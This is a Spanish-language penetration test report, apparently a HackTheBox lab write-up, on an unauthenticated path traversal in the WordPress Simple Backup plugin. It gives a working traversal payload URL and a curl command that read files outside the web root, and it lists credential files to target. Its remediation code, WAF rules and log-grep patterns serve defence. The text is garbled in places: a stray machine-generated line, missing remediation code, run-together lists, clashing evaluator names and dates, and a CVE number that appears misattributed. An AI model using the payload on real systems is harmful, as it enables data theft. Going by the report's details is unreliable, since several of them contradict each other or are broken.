
Informe detallado de pruebas de penetración que demuestra una vulnerabilidad de path traversal no autenticado (CVE-2019-11447) en el plugin Simple Backup de WordPress, incluyendo pasos de explotación, análisis de impacto y guía de remediación.
| Elemento | Detalles |
|---|
| Título del Documento | Informe de Prueba de Penetración - Path Traversal en WordPress |
| Cliente/Examen | HackTheBox Lab - CPTS Exercise 1 |
| Fecha | 22 de agosto de 2026 |
| Evaluador | Cyberia (Pentester) |
| Tipo de Evaluación | Caja Gris (Externo, Sin Credenciales) |
| Entorno de Laboratorio | 154.57.164.73:30706 |
| Duración del Laboratorio | 1 Hora |
| Objetivos | Identificar y explotar vulnerabilidades para recuperar archivos restringidos |
| Flag Obtenida | HTB{my_f1r57_h4ck} |
Durante esta evaluación de penetración de la aplicación web alojada en 154.57.164.73:30706, se identificó una vulnerabilidad crítica que permite a atacantes no autenticados descargar y leer archivos arbitrarios del sistema de archivos del servidor.
La instalación vulnerable de WordPress contiene un plugin desactualizado (Simple Backup v2.7.10) con una vulnerabilidad de path traversal (CVE-2019-11447) que permite el acceso no autorizado a archivos sin requerir autenticación ni autorización.
Esta vulnerabilidad fue explotada con éxito para recuperar el archivo /flag.txt de la raíz del servidor, confirmando el compromiso total de la confidencialidad. Un atacante con este acceso podría:
wp-config.php, .env)Se requiere una acción crítica para remediar esta vulnerabilidad de inmediato, ya que representa un riesgo extremo para la seguridad de los datos, el cumplimiento normativo de privacidad (GDPR, HIPAA, PCI-DSS) y la integridad del sistema.
| Severidad | Cantidad | Impacto en el Negocio |
|---|---|---|
| 🔴 CRÍTICA | 1 | Compromiso total de la confidencialidad; acceso no autorizado a archivos |
| 🟠 ALTA | 0 | — |
| 🟡 MEDIA | 0 | — |
| 🟢 BAJA | 0 | — |
| ℹ️ INFORMATIVA | 1 | Versiones de software desactualizadas detectadas |
Tipo de Evaluación: Caja Gris (atacante externo, sin credenciales proporcionadas, acceso de red disponible)
Fechas de Evaluación: 22 de agosto de 2026
Enfoque de Pruebas: Evaluación metódica y no evasiva siguiendo el marco estándar de la industria para pruebas de penetración (PTES):
CVE-2019-11447 | CWE-22: Improper Limitation of a Pathname to a Restricted Directory
El plugin de WordPress Simple Backup (versión 2.7.10/2.7.11, Exploit-DB 39883) contiene una vulnerabilidad de path traversal en su página de administración "Backup Manager". El plugin no sanea la ruta de archivo proporcionada a través del parámetro GET download_backup_file, lo que permite a un atacante salir del directorio previsto simple-backup/ utilizando secuencias de rutas relativas (../) y descargar cualquier archivo legible por el proceso del servidor web — incluidos los archivos de la raíz del sistema de archivos.
El endpoint vulnerable:``` GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
`page=backup_manager` enruta la solicitud al manejador de la página de administración del plugin; `download_backup_file` es el parámetro que el código del plugin lee directamente y concatena en una ruta del sistema de archivos sin validación, lo que permite el recorrido de directorios.
---
### Puntuación CVSS v3.1
**7.5 - ALTO** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- **Vector de ataque (AV):** Red
- **Complejidad de ataque (AC):** Baja
- **Privilegios requeridos (PR):** Ninguno
- **Interacción del usuario (UI):** Ninguna
- **Alcance (S):** Sin cambios
- **Confidencialidad (C):** Alta
- **Integridad (I):** Ninguna
- **Disponibilidad (A):** Ninguna
---
### Impacto empresarial
**Violación de confidencialidad:** ⚠️ CRÍTICO
Los atacantes pueden leer cualquier archivo accesible para el servidor web, incluyendo:
| Archivo | Impacto | Nivel de riesgo |
|------|--------|------------|
| `/wp-config.php` | Credenciales de base de datos, salts y claves | 🔴 CRÍTICO |
| `/.env` | Claves API, secretos y configuración | 🔴 CRÍTICO |
| `/etc/passwd` | Enumeración de usuarios, mapeo del sistema | 🟠 ALTO |
| Claves SSH (`.ssh/id_rsa`) | Movimiento lateral, acceso al sistema | 🔴 CRÍTICO |
| `/proc/self/environ` | Secretos de la aplicación en ejecución | 🟠 ALTO |
| Directorio de subidas de usuarios | Archivos privados, medios | 🟠 ALTO |
**Impacto normativo:**
- **Violación del GDPR:** Acceso no autorizado a datos de usuario
- **Violación de HIPAA:** Exposición de información de salud protegida
- **Violación de PCI-DSS:** Acceso a datos de tarjetas de crédito o información de pago
- **Violación de SOC 2:** Incumplimiento del requisito de confidencialidad
---
### Patrón de código vulnerable
El aviso de Exploit-DB (39883.txt, leído mediante `searchsploit -x` — ver [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documenta la primitiva de **borrado** del plugin desde `simple-backup-manager.php`:```php
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
No input chunk was provided. The message ends with INPUT: but contains no content to translate. Please supply the chunk text.```php
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
`$filename` proviene directamente de `$_GET['delete_backup_file']` sin comprobación de `basename()` ni de contención de ruta. Pasar `../pizza.txt` resuelve `$bk_dir . $filename` a `.../simple-backup/../pizza.txt` → `.../pizza.txt`, escapando de la carpeta de respaldo prevista.
La primitiva de **descarga** realmente explotada en este compromiso (`download_backup_file`) sigue el mismo patrón de concatenación sin sanear en el mismo plugin, pero devuelve el archivo al solicitante en lugar de eliminarlo — lo que permitió recuperar `/flag.txt` desde la raíz del sistema de archivos (10× `../` desde `ABSPATH/simple-backup/`).
**El problema:**
- No se usa `basename()` para eliminar componentes de directorio
- No hay lista blanca de archivos permitidos
- No se valida que `realpath()` permanezca dentro de `ABSPATH."simple-backup/"`
- Concatenación directa de la entrada del usuario en la ruta del archivo
- No hay comprobación de `current_user_can()` / autenticación antes de servir el archivo — el manejador se ejecuta al cargar el plugin, antes de la propia puerta de autenticación `wp-admin` de WordPress, por lo que es accesible **sin haber iniciado sesión**
---
### Prueba de Concepto
#### **Fase 1: Acceso Inicial — Identificación de la Aplicación**
Conexión directa al objetivo mediante el navegador (`http://154.57.164.73:30706/`). La instalación de WordPress se titula **"GETTING STARTED"**, y una entrada de blog pública en la página de inicio revela el nombre y la versión exactos del plugin en texto plano: **"Simple Backup Plugin 2.7.10 for WordPress"** — ni siquiera se necesitaron herramientas de enumeración para identificar el componente vulnerable.

#### **Fase 2: Fingerprinting del Servicio**```bash
whatweb http://154.57.164.73:30706/
Resultado: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1 confirmado mediante las firmas de los plugins MetaGenerator y WordPress.

searchsploit simple backup wordpress
**Resultado:**```
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

Leyendo el aviso completo para entender los parámetros vulnerables exactos y la ruta del código:```bash searchsploit -x php/webapps/39883.txt
El aviso documenta la **Eliminación Arbitraria de Archivos** sin autenticación mediante el parámetro `delete_backup_file`, y señala que los archivos de respaldo en `simple-backup/` (y, por la misma ruta de código sin saneamiento, archivos arbitrarios a través de `download_backup_file`) pueden obtenerse sin autenticación.

#### **Fase 4: Explotación — Path Traversal a través de `download_backup_file`**
Endpoint vulnerable identificado desde el enrutado de la página de administración del plugin:```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
Payload de explotación (10× ../ para subir desde ABSPATH/simple-backup/ hasta la raíz del sistema de archivos):```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
**GUI (utilizada en esta evaluación):** se navegó directamente a la URL del payload en la barra de direcciones del navegador. No se requirió inicio de sesión — el navegador desencadenó una descarga automática del archivo `flag.txt` resuelto.

**Equivalente headless:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
Bandera obtenida: HTB{my_f1r57_h4ck}
La vulnerabilidad tiene éxito porque:
$_GET['download_backup_file'] no se comprueba contra una lista blancarealpath() no se utiliza para verificar que el archivo permanezca dentro de simple-backup/../) no se filtranABSPATH."simple-backup/"wp-admin de WordPress — accesible sin haber iniciado sesióncurrent_user_can() confirma que el solicitante deba acceder al archivo solicitadoFlujo del ataque:``` User Input: ../../../../../../../../../../flag.txt ↓ No Validation (FAILURE POINT) ↓ Concatenated: ABSPATH/simple-backup/../../../../../../../../../../flag.txt ↓ Resolves to: /flag.txt (accessible!) ↓ Plugin serves file contents with web server permissions ↓ Browser downloads flag.txt to attacker's machine
---
### Validación del Impacto
✅ **Confidencialidad Comprometida:** Cualquier archivo legible por el proceso del servidor web es accesible
✅ **Sin Autenticación Requerida:** Usuarios no autenticados pueden explotarlo
✅ **Sin Interacción del Usuario:** Explotación mediante solicitudes HTTP directas
✅ **Repetible y Fiable:** Funciona en todas las versiones vulnerables
✅ **Datos Críticos del Negocio en Riesgo:** Archivos de configuración, credenciales y datos de usuario expuestos
---
## Remediación
### **Opción 1: Lista Blanca de Entradas (Recomendada)**
Solo permitir descargas desde una lista predefinida de archivos:```php
<?php
// Define allowed backup files
$allowed_files = array(
'backup_2024_01_15.zip',
'backup_2024_01_16.zip',
'backup_2024_01_17.zip',
);
$requested_file = $_GET['download_backup_file'];
// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
die("File not found or access denied");
}
// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Ventajas:
Usa realpath() para canonicalizar las rutas y verificar su contención:```php
**Ventajas:**
- Maneja enlaces simbólicos y rutas complejas
- Verifica la contención automáticamente
- Más flexible que la lista blanca
---
### **Opción 3: Usar basename() solo para el nombre de archivo**
Extraer solo el componente del nombre de archivo:```php
<?php
$user_input = $_GET['download_backup_file'];
// Remove all directory components
$file = basename($user_input);
// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;
// Verify file exists
if (!file_exists($filepath)) {
die("File not found");
}
readfile($filepath);
?>
Ventajas:
Nota: Este enfoque solo funciona si todos los archivos legítimos están en un solo directorio sin subdirectorios.
Reglas del Firewall de Aplicaciones Web (WAF):```
ModSecurity Rule: SecRule ARGS:download_backup_file "@rx ../" "id:1000,phase:2,block,msg:'Path Traversal Attempt'" SecRule ARGS:download_backup_file "@rx %2e%2e%2f" "id:1001,phase:2,block,msg:'Encoded Path Traversal'"
**Permisos del sistema de archivos:**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/
# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php
# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads
Registro y monitoreo de accesos:```bash
tail -f /var/log/apache2/access.log | grep ".." tail -f /var/log/apache2/access.log | grep "%2e%2e"
**Gestión de actualizaciones:**
1. Deshabilitar o eliminar el plugin Simple Backup
2. Instalar una solución de respaldo aprobada con auditoría de seguridad
3. Actualizar WordPress a la última versión
4. Actualizar todos los plugins a las últimas versiones
5. Actualizar PHP a 8.0+ con parches de seguridad
---
## Cadena de ataque```
┌─────────────────────────────────────────────────────────────┐
│ 1. INITIAL ACCESS │
│ └─ Browse to 154.57.164.73:30706 │
│ └─ WordPress "GETTING STARTED" site identified │
│ └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 2. ENUMERATION │
│ └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1 │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 3. VULNERABILITY RESEARCH │
│ └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns) │
│ └─ searchsploit -x → read PoC, identify unsanitized │
│ delete_backup_file / download_backup_file parameters │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 4. EXPLOITATION │
│ └─ Endpoint: /wp-admin/tools.php?page=backup_manager │
│ └─ Payload: download_backup_file=../..(x10)../flag.txt │
│ └─ Browser navigates to payload URL (no login required) │
│ └─ Plugin resolves path to /flag.txt and serves it │
└──────────────────────┬──────────────────────────────────────┘
│
┌──────────────────────▼──────────────────────────────────────┐
│ 5. SUCCESS │
│ └─ Flag Retrieved: HTB{my_f1r57_h4ck} │
│ └─ Confidentiality Breached │
│ └─ Unauthenticated arbitrary file read confirmed │
└─────────────────────────────────────────────────────────────┘
Existe una vulnerabilidad crítica de path traversal en el plugin Simple Backup de WordPress que permite a atacantes no autenticados descargar y leer archivos arbitrarios del servidor. Esta vulnerabilidad fue explotada con éxito para recuperar archivos sensibles de la raíz web.
Nivel de riesgo: 🔴 CRÍTICO
| Prioridad | Acción | Plazo | Responsable |
|---|---|---|---|
| 🔴 P0 | Deshabilitar/Eliminar el plugin Simple Backup | Inmediatamente | Seguridad/Ops |
| 🔴 P0 | Implementar validación de archivos basada en listas blancas | Esta semana | Desarrollo |
| 🟠 P1 | Implementar reglas WAF para bloquear path traversal | Esta semana | Ops |
| 🟠 P1 | Auditar el servidor en busca de registros de acceso no autorizado | Esta semana | Seguridad |
| 🟠 P1 | Rotar todas las credenciales expuestas (DB, SSH, API) | Esta semana | Ops |
| 🟡 P2 | Actualizar el núcleo de WordPress y todos los plugins | Esta semana | Ops |
| 🟡 P2 | Implementar monitoreo de integridad de archivos | Próximo sprint | Seguridad |
| 🟡 P2 | Realizar una auditoría de seguridad completa de otros plugins | Próximo sprint | Seguridad |
Hallazgo: El sitio WordPress "GETTING STARTED" divulga públicamente el plugin y la versión instalados en una entrada de blog — "Simple Backup Plugin 2.7.10 for WordPress"
Hallazgo: Se confirmó Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1
Hallazgo: "WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities" (php/webapps/39883.txt)
Hallazgo: El advisory documenta la eliminación no autenticada de archivos arbitrarios mediante delete_backup_file; la misma ruta de código sin sanitizar aplica a download_backup_file
Hallazgo: Navegar a tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt desencadena una descarga no autenticada de flag.txt: HTB{my_f1r57_h4ck}
CVE-2019-11447 — Simple Backup Path Traversal
CWE-22 — Limitación inadecuada de un nombre de ruta a un directorio restringido ('Path Traversal')
Puntuación CVSS v3.1: 7.5 (Alta)
OWASP Top 10 - A01:2021 Control de acceso roto
OWASP Path Traversal
PortSwigger Web Security Academy - Path Traversal
SearchSploit — Búsqueda en la base de datos de exploits
NMAP — Mapeador de red
WhatWeb — Herramienta de fingerprinting web
Este informe documenta una prueba de penetración realizada con la debida autorización y dentro del alcance definido.
| Campo | Valor |
|---|---|
| Estado del informe | ✅ Completo |
| Hallazgos verificados | ✅ Sí |
| Recomendaciones ejecutables | ✅ Sí |
| Confidencialidad | 🔒 Alta |
| Distribución | Restringida a personal autorizado |
Evaluador: Capivara Root (Probador de penetración)
Fecha: 11 de agosto de 2026
Firma: Informe digital - No se requiere firma física
© 2026 Evaluación de Pruebas de Penetración | Confidencial